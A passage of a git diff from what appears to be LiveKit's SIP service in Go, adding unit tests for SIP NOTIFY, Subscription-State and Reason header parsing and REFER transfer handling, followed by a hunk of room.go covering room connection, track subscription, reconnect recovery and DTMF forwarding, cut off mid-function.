+ }, + { + Name: "status out of range", + Event: "refer", + Body: "SIP/2.0 99999999999 Boom" + headers, + Error: true, + }, + { + Name: "status below the SIP range", + Event: "refer", + Body: "SIP/2.0 42 Nope" + headers, + Error: true, + }, + { + Name: "bad SIP version", + Event: "refer;id=1234", + Body: "SIP/3.0 200 OK" + headers, + Error: true, + }, + { + Name: "unknown event", + Event: "invite;id=1234", + Body: "SIP/2.0 200 OK" + headers, + Error: true, + }, + } + for _, c := range cases { + t.Run(c.Name, func(t *testing.T) { + info, err := handleNotify(newNotify(c.Event, c.SubState, c.Body)) + if c.Error { + require.Error(t, err) + return + } + require.NoError(t, err) + require.Equal(t, c.Expect, info) + }) + } +} + +func TestParseSubscriptionState(t *testing.T) { + cases := []struct { + Name string + Header string + State SubscriptionState + Terminated bool + }{ + { + Name: "active", + Header: "active", + State: SubscriptionState{State: "active"}, + }, + { + Name: "active with expires", + Header: "active;expires=3600", + State: SubscriptionState{State: "active", Expires: 3600}, + }, + { + Name: "pending", + Header: "pending;expires=0", + State: SubscriptionState{State: "pending"}, + }, + { + Name: "terminated", + Header: "terminated", + State: SubscriptionState{State: "terminated"}, + Terminated: true, + }, + { + Name: "terminated with reason", + Header: "terminated;reason=noresource;retry-after=0", + State: SubscriptionState{State: "terminated", Reason: "noresource"}, + Terminated: true, + }, + { + Name: "mixed case and spaces", + Header: " Terminated ; Reason = TimeOut ", + State: SubscriptionState{State: "terminated", Reason: "timeout"}, + Terminated: true, + }, + { + Name: "params without values", + Header: "active;foo;expires", + State: SubscriptionState{State: "active"}, + }, + { + Name: "empty", + Header: " ", + State: SubscriptionState{}, + }, + { + Name: "extension substate", + Header: "waiting;reason=noresource", + State: SubscriptionState{State: "waiting", Reason: "noresource"}, + }, + } + for _, c := range cases { + t.Run(c.Name, func(t *testing.T) { + st := ParseSubscriptionState(c.Header) + require.Equal(t, c.State, st) + require.Equal(t, c.Terminated, st.Terminated()) + }) + } +} + +func TestHandleReferNotify(t *testing.T) { + const referCseq = 8 + cases := []struct { + Name string + Info notifyInfo + // Expect describes the result handed to referDone. Nil means nothing at + // all should be sent. + Expect func(t *testing.T, err error) + }{ + { + Name: "provisional", + Info: notifyInfo{Status: 100, Sub: SubscriptionState{State: "active"}}, + }, + { + Name: "provisional no state", + Info: notifyInfo{Status: 180}, + }, + { + Name: "other refer", + Info: notifyInfo{CSeq: referCseq + 1, Status: 200}, + }, + { + Name: "success", + Info: notifyInfo{CSeq: referCseq, Status: 200}, + Expect: func(t *testing.T, err error) { + require.NoError(t, err) + }, + }, + { + Name: "success terminates subscription", + Info: notifyInfo{Status: 200, Sub: SubscriptionState{State: "terminated", Reason: "noresource"}}, + Expect: func(t *testing.T, err error) { + require.NoError(t, err) + }, + }, + { + Name: "terminated on provisional", + Info: notifyInfo{Status: 100, Sub: SubscriptionState{State: "terminated", Reason: "noresource"}}, + Expect: func(t *testing.T, err error) { + require.ErrorIs(t, err, errReferSubscriptionTerminated) + require.Contains(t, err.Error(), "noresource") + var psErr psrpc.Error + require.ErrorAs(t, err, &psErr) + require.Equal(t, psrpc.UpstreamServerError, psErr.Code()) + var sipErr *livekit.SIPStatus + require.NotErrorAs(t, err, &sipErr, "no SIP status was reported for this transfer") + }, + }, + { + Name: "terminated without body", + Info: notifyInfo{Sub: SubscriptionState{State: "terminated", Reason: "giveup"}}, + Expect: func(t *testing.T, err error) { + require.ErrorIs(t, err, errReferSubscriptionTerminated) + require.Contains(t, err.Error(), "giveup") + }, + }, + { + Name: "terminated without reason", + Info: notifyInfo{Status: 100, Sub: SubscriptionState{State: "terminated"}}, + Expect: func(t *testing.T, err error) { + require.ErrorIs(t, err, errReferSubscriptionTerminated) + require.Contains(t, err.Error(), "unspecified") + }, + }, + { + Name: "failure", + Info: notifyInfo{Status: 480, Reason: "Temporarily Unavailable", + Sub: SubscriptionState{State: "terminated", Reason: "noresource"}}, + Expect: func(t *testing.T, err error) { + require.Error(t, err) + var sipErr *livekit.SIPStatus + require.ErrorAs(t, err, &sipErr) + require.Equal(t, livekit.SIPStatusCode(480), sipErr.Code) + }, + }, + } + for _, c := range cases { + t.Run(c.Name, func(t *testing.T) { + // Buffered so the cases expecting no result don't wait out notifyAckTimeout. + referDone := make(chan error, 1) + handleReferNotify(c.Info, referCseq, referDone) + if c.Expect == nil { + require.Empty(t, referDone, "expected no transfer result") + return + } + require.Len(t, referDone, 1, "expected a transfer result") + c.Expect(t, <-referDone) + }) + } +} + +func TestWaitReferResult(t *testing.T) { + log := logger.GetLogger() + + closedChan := func() chan struct{} { + ch := make(chan struct{}) + close(ch) + return ch + } + + t.Run("result", func(t *testing.T) { + referDone := make(chan error, 1) + referDone <- nil + require.NoError(t, waitReferResult(t.Context(), log, nil, referDone)) + }) + + t.Run("result wins over call end", func(t *testing.T) { + // Models a NOTIFY handler parked on the unbuffered handoff while the BYE + // is processed elsewhere. + referDone := make(chan error) + go func() { referDone <- nil }() + require.NoError(t, waitReferResult(t.Context(), log, closedChan(), referDone)) + }) + + t.Run("failure wins over call end", func(t *testing.T) { + referDone := make(chan error) + want := psrpc.NewErrorf(psrpc.UpstreamClientError, "call transfer failed") + go func() { referDone <- want }() + require.ErrorIs(t, waitReferResult(t.Context(), log, closedChan(), referDone), want) + }) + + t.Run("call ended", func(t *testing.T) { + start := time.Now() + err := waitReferResult(t.Context(), log, closedChan(), make(chan error)) + require.ErrorIs(t, err, errTransferCallEnded) + var psErr psrpc.Error + require.ErrorAs(t, err, &psErr) + require.Equal(t, psrpc.Aborted, psErr.Code()) + require.GreaterOrEqual(t, time.Since(start), referResultGrace) + }) + + t.Run("canceled", func(t *testing.T) { + ctx, cancel := context.WithCancel(t.Context()) + cancel() + err := waitReferResult(ctx, log, nil, make(chan error)) + var psErr psrpc.Error + require.ErrorAs(t, err, &psErr) + require.Equal(t, psrpc.Canceled, psErr.Code()) + }) +} + +func TestParseReason(t *testing.T) { + cases := []struct { + Name string + Header string + Reason ReasonHeader + Normal bool + }{ + { + Name: "SIP", + Header: `SIP ;cause=200 ;text="Call completed elsewhere"`, + Reason: ReasonHeader{ + Type: "sip", + Cause: 200, + Text: "Call completed elsewhere", + }, + Normal: true, + }, + { + Name: "SIP no cause", + Header: `SIP;description="User Hung Up"`, + Reason: ReasonHeader{ + Type: "sip", + Cause: 0, + Text: "User Hung Up", + }, + Normal: true, + }, + { + Name: "Q.850", + Header: `Q.850;cause=16;text="Terminated"`, + Reason: ReasonHeader{ + Type: "q.850", + Cause: 16, + Text: "Terminated", + }, + Normal: true, + }, + { + Name: "X.int", + Header: `X.int;text="0x00000000";add-info=05CC.0001.0001`, + Reason: ReasonHeader{ + Type: "x.int", + Cause: 0x00, + }, + Normal: true, + }, + { + Name: "X.int not ok text", + Header: `X.int;text="0x00000001";add-info=05CC.0001.0001`, + Reason: ReasonHeader{ + Type: "x.int", + Cause: 0x01, + }, + Normal: false, + }, + { + Name: "X.int reason code", + Header: `X.int;reasoncode=0x0000032D;add-info=05CC.0001.0004`, + Reason: ReasonHeader{ + Type: "x.int", + Cause: 0x32D, + }, + Normal: false, + }, + } + for _, c := range cases { + t.Run(c.Name, func(t *testing.T) { + r, err := ParseReasonHeader(c.Header) + require.NoError(t, err) + require.Equal(t, c.Reason, r) + require.Equal(t, c.Normal, r.IsNormal()) + }) + } +} diff --git a/pkg/sip/room.go b/pkg/sip/room.go index b6644e67d..65794b558 100644 --- a/pkg/sip/room.go +++ b/pkg/sip/room.go @@ -1,856 +1,856 @@ -// Copyright 2023 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "context" - "errors" - "fmt" - "io" - "math" - "strings" - "sync" - "sync/atomic" - "time" - - "github.com/frostbyte73/core" - "github.com/pion/webrtc/v4" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/dtmf" - "github.com/livekit/media-sdk/g711" - "github.com/livekit/media-sdk/jitter" - "github.com/livekit/media-sdk/mixer" - "github.com/livekit/media-sdk/rtp" - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/sip" - lksdk "github.com/livekit/server-sdk-go/v2" - - "github.com/livekit/sip/pkg/config" - "github.com/livekit/sip/pkg/media/opus" -) - -// errRoomClosed is returned when the room handle is gone, which happens once the -// call has been torn down. -var errRoomClosed = errors.New("room is closed") - -type RoomStatsSnapshot struct { - // Stats quantifying total incoming traffic from all tracks - InputPackets uint64 `json:"input_packets"` - InputBytes uint64 `json:"input_bytes"` - Resets uint64 `json:"resets"` - Gaps uint64 `json:"gaps"` - GapsSum uint64 `json:"gaps_sum"` - Late uint64 `json:"late"` - LateSum uint64 `json:"late_sum"` - DelayedPackets uint64 `json:"delayed_packets"` - DelayedSum uint64 `json:"delayed_sum"` - RapidPackets uint64 `json:"rapid_packets"` - DataPackets uint64 `json:"data_packets"` - - // Stats quantifying total outgoing traffic - PublishedFrames uint64 `json:"published_frames"` - PublishedSamples uint64 `json:"published_samples"` - PublishTX float64 `json:"publish_tx"` - - JitterBufferPacketsLost uint64 `json:"jitter_buffer_packets_lost"` - JitterBufferPacketsDropped uint64 `json:"jitter_buffer_packets_dropped"` - - TrackSubscribes uint64 `json:"track_subscribes"` - Resumes uint64 `json:"resumes"` - Reconnects uint64 `json:"reconnects"` - // Recovering reports whether the signal connection was down when the - // snapshot was taken. PublishedFrames and PublishTX are unreliable while set. - Recovering bool `json:"recovering"` - - LatencyOutRecv LatencyStatsSnapshot `json:"latency_out_recv"` - - Closed bool `json:"closed"` -} - -type RoomStats struct { - PublishedFrames atomic.Uint64 - PublishedSamples atomic.Uint64 - PublishTX atomic.Uint64 - - rtpStats rtpCountingStats - dataPackets atomic.Uint64 - - // TrackSubscribes counts subscribe requests issued for remote tracks. - // Attempts, not confirmations. - TrackSubscribes atomic.Uint64 - - // Resumes and Reconnects count the two ways the signal connection recovers - // during a call, and are mutually exclusive. A resume keeps the peer - // connections and subscriptions; a reconnect rebuilds them. Neither is - // counted until the recovery succeeds. - Resumes atomic.Uint64 - Reconnects atomic.Uint64 - - // Recovering is set while the signal connection is down. PublishedFrames - // and PublishTX are counted before the track write, so they keep reporting a - // healthy rate even though the audio is being dropped. Read them only when - // this is false. - Recovering atomic.Bool - - JitterBufferPacketsLost atomic.Uint64 - JitterBufferPacketsDropped atomic.Uint64 - - LatencyOutRecv LatencyStats // measures track recv → opus decode → mixer input. - - Mixer mixer.Stats - - Closed atomic.Bool - - mu sync.Mutex - last struct { - Time time.Time - PublishedSamples uint64 - } -} - -func (s *RoomStats) Load() RoomStatsSnapshot { - return RoomStatsSnapshot{ - InputPackets: s.rtpStats.packets.Load(), - InputBytes: s.rtpStats.bytes.Load(), - Resets: s.rtpStats.resets.Load(), - Gaps: s.rtpStats.gaps.Load(), - GapsSum: s.rtpStats.gapsSum.Load(), - Late: s.rtpStats.late.Load(), - LateSum: s.rtpStats.lateSum.Load(), - DelayedPackets: s.rtpStats.delayedPackets.Load(), - DelayedSum: s.rtpStats.delayedSum.Load(), - RapidPackets: s.rtpStats.rapidPackets.Load(), - DataPackets: s.dataPackets.Load(), - JitterBufferPacketsLost: s.JitterBufferPacketsLost.Load(), - JitterBufferPacketsDropped: s.JitterBufferPacketsDropped.Load(), - - TrackSubscribes: s.TrackSubscribes.Load(), - Resumes: s.Resumes.Load(), - Reconnects: s.Reconnects.Load(), - Recovering: s.Recovering.Load(), - - PublishedFrames: s.PublishedFrames.Load(), - PublishedSamples: s.PublishedSamples.Load(), - PublishTX: math.Float64frombits(s.PublishTX.Load()), - LatencyOutRecv: s.LatencyOutRecv.Load(), - Closed: s.Closed.Load(), - } -} - -func (s *RoomStats) Update() { - s.mu.Lock() - defer s.mu.Unlock() - t := time.Now() - dt := t.Sub(s.last.Time).Seconds() - - curPublishedSamples := s.PublishedSamples.Load() - - if dt > 0 { - txSamples := curPublishedSamples - s.last.PublishedSamples - - txRate := float64(txSamples) / dt - - s.PublishTX.Store(math.Float64bits(txRate)) - } - - s.last.Time = t - s.last.PublishedSamples = curPublishedSamples -} - -type ParticipantInfo struct { - ID string - RoomName string - Identity string - Name string -} - -// RoomInterface defines the interface for room operations -type RoomInterface interface { - Connect(ctx context.Context, conf *config.Config, rconf RoomConfig) error - Closed() <-chan struct{} - ClosedReason() livekit.DisconnectReason - Subscribed() <-chan struct{} - Room() *lksdk.Room - Subscribe() - Close() error - CloseWithReason(reason livekit.DisconnectReason) error - Participant() ParticipantInfo - NewParticipantTrack(sampleRate int) (msdk.WriteCloser[msdk.PCM16Sample], error) - NewTrack() *mixer.Input - lksdk.RoomRPCInterface - - // WriteOutboundAudioTo tells the room where to send audio to. - // Returns the previously-set writer (if one exists). - WriteOutboundAudioTo(w msdk.PCM16Writer) msdk.PCM16Writer - - // WriteOutboundDTMFTo tells the room where to send DTMF to. - // Returns the previously-set writer (if one exists). - WriteOutboundDTMFTo(w msdk.WriteCloser[string]) msdk.WriteCloser[string] - - // GetInboundAudioWriter returns a writer that, when written to, writes - // audio to the room. - GetInboundAudioWriter() (msdk.PCM16Writer, error) - // GetInboundDTMFWriter returns a writer that, when written to, writes DTMF - // to the room. - GetInboundDTMFWriter() msdk.WriteCloser[string] -} - -type GetRoomFunc func(log logger.Logger, st *RoomStats) RoomInterface - -func DefaultGetRoomFunc(log logger.Logger, st *RoomStats) RoomInterface { - return NewRoom(log, st) -} - -type Room struct { - log logger.Logger - roomLog logger.Logger // deferred logger - // room is cleared on close while SDK callback goroutines still read it. - room atomic.Pointer[lksdk.Room] - mix *mixer.Mixer - - outboundAudio *msdk.WriteCloserSwitch[msdk.PCM16Sample] - outboundDTMF *msdk.WriteCloserSwitch[string] - inboundDTMF inboundDTMFWriter - - // p is replaced on every reconnect, since the server issues a new - // participant SID, and read concurrently by Participant(). - p atomic.Pointer[ParticipantInfo] - reconnect atomic.Pointer[reconnectState] - ready core.Fuse - subscribe atomic.Bool - subscribed core.Fuse - stopped core.Fuse - closed core.Fuse - stats *RoomStats -} - -type ParticipantConfig struct { - Identity string - Name string - Metadata string - Attributes map[string]string -} - -type RoomConfig struct { - WsUrl string - Token string - RoomName string - Participant ParticipantConfig - RoomPreset string - RoomConfig *livekit.RoomConfiguration - JitterBuf bool - LogSignalChanges bool -} - -func NewRoom(log logger.Logger, st *RoomStats) *Room { - if st == nil { - st = &RoomStats{} - } - r := &Room{ - log: log, - stats: st, - - outboundAudio: msdk.NewWriteCloserSwitch[msdk.PCM16Sample](RoomSampleRate), - outboundDTMF: msdk.NewWriteCloserSwitch[string](0), - } - r.inboundDTMF = inboundDTMFWriter{r} - - var err error - r.mix, err = mixer.NewMixer(r.outboundAudio, rtp.DefFrameDur, 1, mixer.WithStats(&st.Mixer), mixer.WithOutputChannel()) - if err != nil { - panic(err) - } - - roomLog, resolve := log.WithDeferredValues() - r.roomLog = roomLog - - go func() { - select { - case <-r.ready.Watch(): - if room := r.room.Load(); room != nil { - resolve.Resolve("room", room.Name(), "roomID", room.SID()) - } else { - resolve.Resolve() - } - case <-r.stopped.Watch(): - resolve.Resolve() - case <-r.closed.Watch(): - resolve.Resolve() - } - }() - - return r -} - -func (r *Room) Closed() <-chan struct{} { - if r == nil { - return nil - } - return r.stopped.Watch() -} - -// ClosedReason returns the raw protocol disconnect reason once Closed() has -// fired. Returns livekit.DisconnectReason_UNKNOWN_REASON if the room hasn't -// disconnected or no reason was reported. -func (r *Room) ClosedReason() livekit.DisconnectReason { - if r == nil { - return livekit.DisconnectReason_UNKNOWN_REASON - } - room := r.room.Load() - if room == nil { - return livekit.DisconnectReason_UNKNOWN_REASON - } - return room.DisconnectReason() -} - -func (r *Room) Subscribed() <-chan struct{} { - if r == nil { - return nil - } - return r.subscribed.Watch() -} - -func (r *Room) Room() *lksdk.Room { - if r == nil { - return nil - } - return r.room.Load() -} - -func (r *Room) participantJoin(rp *lksdk.RemoteParticipant) { - log := r.roomLog.WithValues("participant", rp.Identity(), "participantID", rp.SID()) - log.Debugw("participant joined") - switch rp.Kind() { - case lksdk.ParticipantSIP: - // Avoid a deadlock where two SIP participant join a room and won't publish their track. - // Each waits for the other's track to subscribe before publishing its own track. - // So we just assume SIP participants will eventually start speaking. - r.subscribed.Break() - log.Infow("unblocking subscription - second sip participant is in the room") - } -} - -func (r *Room) participantLeft(rp *lksdk.RemoteParticipant) { - log := r.roomLog.WithValues("participant", rp.Identity(), "participantID", rp.SID()) - log.Debugw("participant left") -} - -func (r *Room) subscribeTo(pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { - log := r.roomLog.WithValues("participant", rp.Identity(), "participantID", rp.SID(), "trackID", pub.SID(), "trackName", pub.Name()) - if pub.Kind() != lksdk.TrackKindAudio { - log.Debugw("skipping non-audio track") - return - } - log.Debugw("subscribing to a track") - r.stats.TrackSubscribes.Add(1) - if err := pub.SetSubscribed(true); err != nil { - log.Errorw("cannot subscribe to the track", err) - return - } - r.subscribed.Break() -} - -func (r *Room) Connect(ctx context.Context, conf *config.Config, rconf RoomConfig) error { - if rconf.WsUrl == "" { - rconf.WsUrl = conf.WsUrl - } - partConf := rconf.Participant - r.p.Store(&ParticipantInfo{ - RoomName: rconf.RoomName, - Identity: partConf.Identity, - Name: partConf.Name, - }) - roomCallback := r.newRoomCallback(conf, rconf) - - if rconf.Token == "" { - // TODO: Remove this code path, always sign tokens on LiveKit server. - // For now, match Cloud behavior and do not send extra attrs in the token. - tokenAttrs := make(map[string]string, len(partConf.Attributes)) - for _, k := range []string{ - livekit.AttrSIPCallID, - livekit.AttrSIPTrunkID, - livekit.AttrSIPDispatchRuleID, - livekit.AttrSIPTrunkNumber, - livekit.AttrSIPPhoneNumber, - } { - if v, ok := partConf.Attributes[k]; ok { - tokenAttrs[k] = v - } - } - var err error - rconf.Token, err = sip.BuildSIPToken(sip.SIPTokenParams{ - APIKey: conf.ApiKey, - APISecret: conf.ApiSecret, - RoomName: rconf.RoomName, - ParticipantIdentity: partConf.Identity, - ParticipantName: partConf.Name, - ParticipantMetadata: partConf.Metadata, - ParticipantAttributes: tokenAttrs, - RoomPreset: rconf.RoomPreset, - RoomConfig: rconf.RoomConfig, - }) - if err != nil { - return err - } - } - room := lksdk.NewRoom(roomCallback) - room.SetLogger(newRoomOverrideLogger(r.log)) - err := room.JoinWithContextAndToken(ctx, rconf.WsUrl, rconf.Token, - lksdk.WithAutoSubscribe(false), - lksdk.WithExtraAttributes(partConf.Attributes), - ) - if err != nil { - return err - } - r.room.Store(room) - r.setParticipantFromRoom() - p := r.Participant() - r.log = r.log.WithValues("room", room.Name(), "roomID", room.SID(), "participant", p.Identity, "participantID", p.ID) - r.log.Infow("SIP participant joined room") - room.LocalParticipant.SetAttributes(partConf.Attributes) - r.ready.Break() - r.subscribe.Store(false) // already false, but keep for visibility - - // Not subscribing to any tracks just yet! - return nil -} - -// setParticipantFromRoom refreshes the cached participant identifiers from the -// SDK room. Runs on recovery too, since a reconnect gets a new SID. -// -// Does not rebuild r.log, which is read without synchronisation elsewhere in -// this file. The reconnect handler logs the SID change instead. -func (r *Room) setParticipantFromRoom() { - room := r.room.Load() - if room == nil { - return - } - p := ParticipantInfo{} - if cur := r.p.Load(); cur != nil { - p = *cur - } - p.ID = room.LocalParticipant.SID() - p.Identity = room.LocalParticipant.Identity() - r.p.Store(&p) -} - -// newRoomCallback builds the LiveKit room callback for this SIP participant. -// Separate from Connect so tests can build it without joining a room. -func (r *Room) newRoomCallback(conf *config.Config, rconf RoomConfig) *lksdk.RoomCallback { - return &lksdk.RoomCallback{ - OnParticipantConnected: func(rp *lksdk.RemoteParticipant) { - log := r.roomLog.WithValues("participant", rp.Identity(), "participantID", rp.SID()) - if !r.subscribe.Load() { - log.Debugw("skipping participant join event - subscribed flag not set") - return // will subscribe later - } - r.participantJoin(rp) - }, - OnParticipantDisconnected: func(rp *lksdk.RemoteParticipant) { - r.participantLeft(rp) - }, - ParticipantCallback: lksdk.ParticipantCallback{ - OnTrackPublished: func(pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { - log := r.roomLog.WithValues("participant", rp.Identity(), "participantID", rp.SID(), "trackID", pub.SID(), "trackName", pub.Name()) - if !r.subscribe.Load() { - log.Debugw("skipping track publish event - subscribed flag not set") - return // will subscribe later - } - r.subscribeTo(pub, rp) - }, - OnTrackSubscribed: func(track *webrtc.TrackRemote, pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { - go func() { - subscribedAt := time.Now().UnixMilli() - log := r.roomLog.WithValues("participant", rp.Identity(), "participantID", rp.SID(), "trackID", track.ID(), "trackName", pub.Name(), "subscribedAt", subscribedAt) - if !r.ready.IsBroken() { - log.Warnw("ignoring track, room not ready", nil) - return - } - defer func() { log.Infow("track closed", "closedAt", time.Now().UnixMilli()) }() - - mTrack := r.NewTrack() - if mTrack == nil { - return // closed - } - defer mTrack.Close() - - var out msdk.PCM16Writer = mTrack - // Outbound latency: measure track recv → opus decode → mixer input. - var outRecvLatencyEntry atomic.Int64 - out = newLatencyPCMExit(out, &outRecvLatencyEntry, &r.stats.LatencyOutRecv) - if rconf.LogSignalChanges { - var err error - out, err = NewSignalLogger(log, track.ID(), out) - if err != nil { - log.Errorw("cannot create signal logger", err) - return - } - } - - codec := track.Codec() - codecName := strings.TrimPrefix(codec.MimeType, "audio/") - var rh rtp.Handler - switch strings.ToLower(codecName) { - case "opus": - cw, err := opus.Decode(out, channels, log) - if err != nil { - log.Errorw("cannot create opus decoder", err) - return - } - defer cw.Close() - - rh = rtp.NewMediaStreamIn(cw) - case "pcmu": - cw := g711.DecodeULaw(out) - rh = rtp.NewMediaStreamIn(cw) - case "pcma": - cw := g711.DecodeALaw(out) - rh = rtp.NewMediaStreamIn(cw) - default: - log.Warnw("unsupported sip room codec", nil, "codec", codec.MimeType) - return - } - h := rtp.NewNopCloser(rh) - if conf.EnableJitterBuffer { - h = rtp.HandleJitter(h, jitter.WithPacketLossHandler(func(packetsLost, packetsDropped uint64) { - r.stats.JitterBufferPacketsLost.Store(packetsLost) - r.stats.JitterBufferPacketsDropped.Store(packetsDropped) - })) - } - - h = newRTPStreamStats(h, &r.stats.rtpStats) - h = newLatencyRTPEntry(h, &outRecvLatencyEntry) - err := rtp.HandleLoop(track, h) - if err != nil && !errors.Is(err, io.EOF) { - log.Infow("room track rtp handler returned with failure", "error", err) - } - }() - }, - OnDataPacket: func(data lksdk.DataPacket, params lksdk.DataReceiveParams) { - switch data := data.(type) { - case *livekit.SipDTMF: - r.stats.dataPackets.Add(1) - // TODO: This ignores code. Once it lands and we're okay with functional changes, - // consider updating this to use code as fallback. - err := r.outboundDTMF.WriteSample(data.Digit) - if err != nil && !errors.Is(err, context.Canceled) { - r.log.Errorw("cannot forward dtmf to sip", err) - } - } - }, - OnTrackUnsubscribed: func(track *webrtc.TrackRemote, pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { - r.roomLog.Infow("track unsubscribed", "participant", rp.Identity(), "participantID", rp.SID(), "trackID", track.ID(), "trackName", pub.Name()) - }, - }, - OnReconnecting: func() { - r.onReconnecting() - }, - OnReconnected: func() { - r.onReconnected() - }, - OnDisconnected: func() { - r.stopped.Break() - }, - OnDisconnectedWithReason: func(reason lksdk.DisconnectionReason) { - // OnDisconnected fires first and owns the teardown. This only - // records the reason, which CloseWithReason may clear later. - r.roomLog.Infow("disconnected from room", "reason", reason) - }, - } -} - -// reconnectState is captured when the signal connection drops so onReconnected -// can tell a resume from a reconnect and report the gap. -type reconnectState struct { - startedAt time.Time - sid string -} - -func recoveryKind(resumed bool) string { - if resumed { - return "resume" - } - return "reconnect" -} - -// onReconnecting runs when the SDK loses the signal connection and starts -// recovering. Audio published until onReconnected may be dropped: a reconnect -// detaches our track from its peer connection while the connection is rebuilt, -// and writes to a detached track are discarded without an error. -func (r *Room) onReconnecting() { - var sid string - if room := r.room.Load(); room != nil { - sid = room.LocalParticipant.SID() - } - r.reconnect.Store(&reconnectState{startedAt: time.Now(), sid: sid}) - r.stats.Recovering.Store(true) - r.roomLog.Infow("lost connection to room, recovering", "participantID", sid) -} - -// onReconnected runs when the SDK recovers the signal connection, either by -// resuming the old session or reconnecting from scratch. -// -// A resume keeps the peer connections, and the SDK replays subscription state -// itself, so leave it alone. A reconnect builds a new subscriber peer -// connection with no subscriptions and the SDK restores only what we publish, -// so re-issue the subscriptions here. -func (r *Room) onReconnected() { - prev := r.reconnect.Swap(nil) - r.stats.Recovering.Store(false) - - room := r.room.Load() - if room == nil { - return - } - - // The SID is stable across a resume and changes on a reconnect. Treat an - // unknown previous SID as a reconnect: re-subscribing is idempotent, while - // missing one leaves the call with no inbound room audio. - sid := room.LocalParticipant.SID() - resumed := prev != nil && prev.sid == sid - - var gap time.Duration - if prev != nil { - gap = time.Since(prev.startedAt) - } - if resumed { - r.stats.Resumes.Add(1) - } else { - r.stats.Reconnects.Add(1) - } - - r.setParticipantFromRoom() - r.roomLog.Infow("recovered connection to room", - "kind", recoveryKind(resumed), - "gap", gap, - "participantID", sid, - "previousParticipantID", func() string { - if prev == nil { - return "" - } - return prev.sid - }(), - ) - - if resumed { - return - } - if !r.subscribe.Load() { - // Call is not answered yet, so subscribing here would pull room audio - // into a leg that has not been accepted. - return - } - // The SDK calls this from the reconnect itself, inside the join's timeout, - // and subscribing does a blocking websocket write per track. Pass the room we - // already read so a concurrent close cannot make this a nil dereference. - go r.resubscribeAfterReconnect(room) -} - -func (r *Room) resubscribeAfterReconnect(room *lksdk.Room) { - if r.closed.IsBroken() || r.stopped.IsBroken() { - return - } - r.roomLog.Infow("re-subscribing to remote tracks after reconnect") - r.subscribeAll(room) -} - -func (r *Room) RegisterRpcCtxMethod(method string, handler lksdk.RpcHandlerCtxFunc) error { - room := r.room.Load() - if room == nil { - return errRoomClosed - } - return room.RegisterRpcCtxMethod(method, handler) -} - -func (r *Room) Subscribe() { - room := r.room.Load() - if room == nil { - return - } - r.subscribe.Store(true) - r.subscribeAll(room) -} - -// subscribeAll subscribes to every remote audio track in the room. Safe to -// repeat, since a duplicate subscribe is a no-op server side. -func (r *Room) subscribeAll(room *lksdk.Room) { - list := room.GetRemoteParticipants() - r.log.Debugw("subscribing to existing room participants", "participants", len(list)) - for _, rp := range list { - r.participantJoin(rp) - for _, pub := range rp.TrackPublications() { - if remotePub, ok := pub.(*lksdk.RemoteTrackPublication); ok { - r.subscribeTo(remotePub, rp) - } - } - } -} - -func (r *Room) Close() error { - return r.CloseWithReason(livekit.DisconnectReason_UNKNOWN_REASON) -} - -func (r *Room) CloseWithReason(reason livekit.DisconnectReason) error { - if r == nil { - return nil - } - var errs []error - r.closed.Once(func() { - defer r.stats.Closed.Store(true) - - r.subscribe.Store(false) - errs = append(errs, r.outboundAudio.Close()) - errs = append(errs, r.outboundDTMF.Close()) - if room := r.room.Swap(nil); room != nil { - room.DisconnectWithReason(reason) - } - if r.mix != nil { - r.mix.Stop() - } - }) - return errors.Join(errs...) -} - -func (r *Room) Participant() ParticipantInfo { - if r == nil { - return ParticipantInfo{} - } - if p := r.p.Load(); p != nil { - return *p - } - return ParticipantInfo{} -} - -// NewParticipantTrack publishes a local Opus audio track into the LiveKit room. -// TODO(alexfish): Remove this from the public interface. -func (r *Room) NewParticipantTrack(sampleRate int) (msdk.WriteCloser[msdk.PCM16Sample], error) { - track, err := webrtc.NewTrackLocalStaticSample(webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeOpus}, "audio", "pion") - if err != nil { - return nil, err - } - room := r.room.Load() - if room == nil { - return nil, errRoomClosed - } - p := room.LocalParticipant - if _, err = p.PublishTrack(track, &lksdk.TrackPublicationOptions{ - Name: p.Identity(), - }); err != nil { - return nil, err - } - ow := msdk.FromSampleWriter[opus.Sample](track, sampleRate, rtp.DefFrameDur) - pw, err := opus.Encode(ow, channels, r.log) - if err != nil { - return nil, err - } - return newMediaWriterCount(pw, &r.stats.PublishedFrames, &r.stats.PublishedSamples), nil -} - -func (r *Room) SendData(data lksdk.DataPacket, opts ...lksdk.DataPublishOption) error { - if r == nil || !r.ready.IsBroken() || r.closed.IsBroken() { - return nil - } - room := r.room.Load() - if room == nil { - return nil - } - return room.LocalParticipant.PublishDataPacket(data, opts...) -} - -func (r *Room) NewTrack() *mixer.Input { - if r == nil { - return nil - } - return r.mix.NewInput() -} - -func (r *Room) WriteOutboundAudioTo(w msdk.PCM16Writer) msdk.PCM16Writer { - return r.outboundAudio.Swap(w) -} - -func (r *Room) WriteOutboundDTMFTo(w msdk.WriteCloser[string]) msdk.WriteCloser[string] { - return r.outboundDTMF.Swap(w) -} - -func (r *Room) GetInboundAudioWriter() (msdk.PCM16Writer, error) { - return r.NewParticipantTrack(RoomSampleRate) -} - -func (r *Room) GetInboundDTMFWriter() msdk.WriteCloser[string] { - return &r.inboundDTMF -} - -type inboundDTMFWriter struct { - r *Room -} - -func (w *inboundDTMFWriter) String() string { - return "inboundDTMFWriter" -} - -func (w *inboundDTMFWriter) SampleRate() int { - return dtmf.SampleRate -} - -func (w *inboundDTMFWriter) Close() error { - return nil -} - -func (w *inboundDTMFWriter) WriteSample(sample string) error { - if len(sample) != 1 { - return fmt.Errorf("invalid DTMF sample length %d: %v", len(sample), sample) - } - code, tones := dtmf.Tone(byte(sample[0])) - if len(tones) == 0 { - return fmt.Errorf("invalid DTMF sample %v", sample) - } - return 